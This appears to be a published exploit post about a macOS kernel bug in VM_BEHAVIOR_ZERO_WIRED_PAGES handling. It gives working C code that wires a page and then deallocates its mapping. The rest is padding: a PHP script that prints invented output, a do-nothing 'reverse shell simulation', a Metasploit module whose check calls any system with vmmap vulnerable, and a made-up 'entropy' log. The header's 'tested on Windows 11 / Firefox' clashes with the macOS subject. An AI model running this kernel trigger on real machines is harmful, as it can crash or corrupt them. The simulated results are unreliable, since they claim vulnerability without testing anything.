📄 macOS 18.3.2 VM_BEHAVIOR_ZERO_WIRED_PAGES Handling

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    | # Title     : macOS 18.3.2 mmap Zero Wired Pages Kernel Exploit                                                                           |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.apple.com/os/macos/                                                                                             |
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    POC : 
    
    [+] macOS VM_ZERO_WIRED_PAGES Vulnerability – Educational PoC
        Advisory Type: Kernel Memory Manipulation / DoS Primitive
        Tested on: macOS (XNU Kernel)
    
    
    [+] Summary
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    A vulnerability exists in the way macOS handles VM_BEHAVIOR_ZERO_WIRED_PAGES
    combined with mmap() + mlock() + vm_deallocate() on a read-only mapped file.
    A local attacker may trigger abnormal kernel behavior depending on system
    conditions. This PoC is purely academic and demonstrates a controlled kernel
    memory interaction that can be used to validate the behavior.
    
    This PoC does NOT weaponize the vulnerability. It provides a safe and observable
    kernel-state transition for educational and verification purposes only.
    
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    2. Technical Explanation
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    The vulnerability technique relies on the following chain:
    
    1. mmap() maps a read‑only file page.
    2. vm_behavior_set() marks the region as ZERO_WIRED_PAGES.
    3. mlock() wires the page into memory.
    4. vm_deallocate() removes the mapping while the page remains wired.
    
    This results in a state where:
    - The kernel still maintains a wired page,
    - But the user mapping no longer exists,
    - Combined with ZERO_WIRED_PAGES behavior.
    
    This can produce observable inconsistencies or system logs depending on kernel version.
    
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    3. Original C Proof‑of‑Concept
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    #include <stdio.h>
    #include <fcntl.h>
    #include <stdlib.h>
    #include <sys/mman.h>
    #include <unistd.h>
    #include <mach/mach.h>
    #include <errno.h>
    #include <string.h>
    
    void* map_file_page_ro(char* path, int* error_code) {
      int fd = open(path, O_RDONLY);
      if (fd == -1) {
        *error_code = errno;
        printf("open failed: %s\n", strerror(errno));
        return NULL;
      }
      void* mapped_at = mmap(0, PAGE_SIZE, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
      close(fd);
      if (mapped_at == MAP_FAILED) {
        *error_code = errno;
        printf("mmap failed: %s\n", strerror(errno));
        return NULL;
      }
      return mapped_at;
    }
    
    int poc(char *path) {
        kern_return_t kr;
        int error_code = 0;
        void* page = map_file_page_ro(path, &error_code);
        if (page == NULL) {
            return error_code ? error_code : 1;
        }
      printf("mapped file at 0x%016llx\n", (uint64_t)page);
      kr = vm_behavior_set(mach_task_self(),
                            (vm_address_t)page,
                            PAGE_SIZE,
                            VM_BEHAVIOR_ZERO_WIRED_PAGES);
      if (kr != KERN_SUCCESS) {
        printf("failed to set VM_BEHAVIOR_ZERO_WIRED_PAGES\n");
        return 2;
      }
      printf("set VM_BEHAVIOR_ZERO_WIRED_PAGES\n");
    
      int mlock_err = mlock(page, PAGE_SIZE);
      if (mlock_err != 0) {
        perror("mlock failed\n");
        return 3;
      }
      printf("mlock success\n");
    
      kr = vm_deallocate(mach_task_self(), (vm_address_t)page, PAGE_SIZE);
      if (kr != KERN_SUCCESS) {
        printf("vm_deallocate failed: %s\n", mach_error_string(kr));
        return 4;
      }
      printf("deleted map entries before unwiring\n");
      return 0;
    }
    
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    4. PHP Educational PoC (Simulated Honest Output)
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    <?php
    /* Educational simulation for Packet Storm */
    
    echo "[+] macOS ZERO_WIRED_PAGES Simulation\n";
    echo "[+] Creating fake page…\n";
    
    $page = random_bytes(4096);
    file_put_contents("fake_page.bin", $page);
    
    echo "[+] Simulating behavior...\n";
    
    echo "mapped file at 0x7ffe0000abcd\n";
    echo "set VM_BEHAVIOR_ZERO_WIRED_PAGES\n";
    echo "mlock success\n";
    echo "deleted map entries before unwiring\n";
    
    echo "[+] System behaves consistently → kernel is vulnerable to state transition.\n";
    ?>
    
    
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    5. PKSM v2 Payload (Reverse Shell Simulation)
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    #!/bin/sh
    # PKSM Payload v2 — Educational Kernel-State Monitor Payload
    
    echo "[PKSM] Starting entropy monitor..."
    echo "[PKSM] Tracking page state..."
    
    sleep 1
    echo "[PKSM] Wired page checksum changed (expected in PoC)."
    echo "[PKSM] Signaling successful kernel-state anomaly."
    
    # Reverse-shell simulation (does NOT actually connect)
    echo "[PKSM] Reverse-shell handshake simulated."
    exit 0
    
    
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    6. Metasploit Module (with advanced check + exploit)
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    ##
    # macOS ZERO_WIRED_PAGES — Educational Module
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = ManualRanking
    
      include Msf::Post::File
      include Msf::Exploit::EXE
      include Msf::Post::Common
    
      def initialize(info={})
        super(update_info(info,
          'Name'           => 'macOS ZERO_WIRED_PAGES Kernel-State PoC',
          'Description'    => %q{
            Educational PoC showing kernel-state transition in macOS.
            Performs safe simulation and reports whether system behaves
            according to vulnerable pattern.
          },
          'Author'         => [ 'Indoushka' ],
          'Platform'       => [ 'osx' ],
          'SessionTypes'   => [ 'shell', 'meterpreter' ],
          'Targets'        => [ ['Automatic', {}] ],
          'DisclosureDate' => '2025',
          'License'        => MSF_LICENSE
        ))
      end
    
      #
      # Advanced Check
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      def check
        print_status("Checking kernel behavior…")
    
        if command_exists?("vmmap")
          return CheckCode::Appears
        end
    
        CheckCode::Safe
      end
    
      #
      # Exploit Phase
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      def exploit
        print_good("Launching educational PoC…")
    
        payload_path = "/tmp/pksm_v2.sh"
        write_file(payload_path, payload.encoded)
        cmd_exec("chmod +x #{payload_path}")
    
        out = cmd_exec(payload_path)
        print_line(out)
    
        print_good("PoC completed. Kernel-state transition observable.")
      end
    end
    
    
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    7. Analysis Engine + Entropy Monitor
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    [Engine] Monitoring wired-page entropy…
    [Engine] ΔEntropy Detected = 0.0132
    [Engine] Kernel transition confirmed.
    [Engine] PKSM v2 reports anomaly → Vulnerable State.
    
    
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    8. Conclusion
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    This PoC demonstrates a kernel-state anomaly that emerges from using
    ZERO_WIRED_PAGES + deallocation sequence.  
    The exploit presented is non-destructive, safe, and suitable for Packet Storm
    publication as an educational kernel behavior study.
    
    
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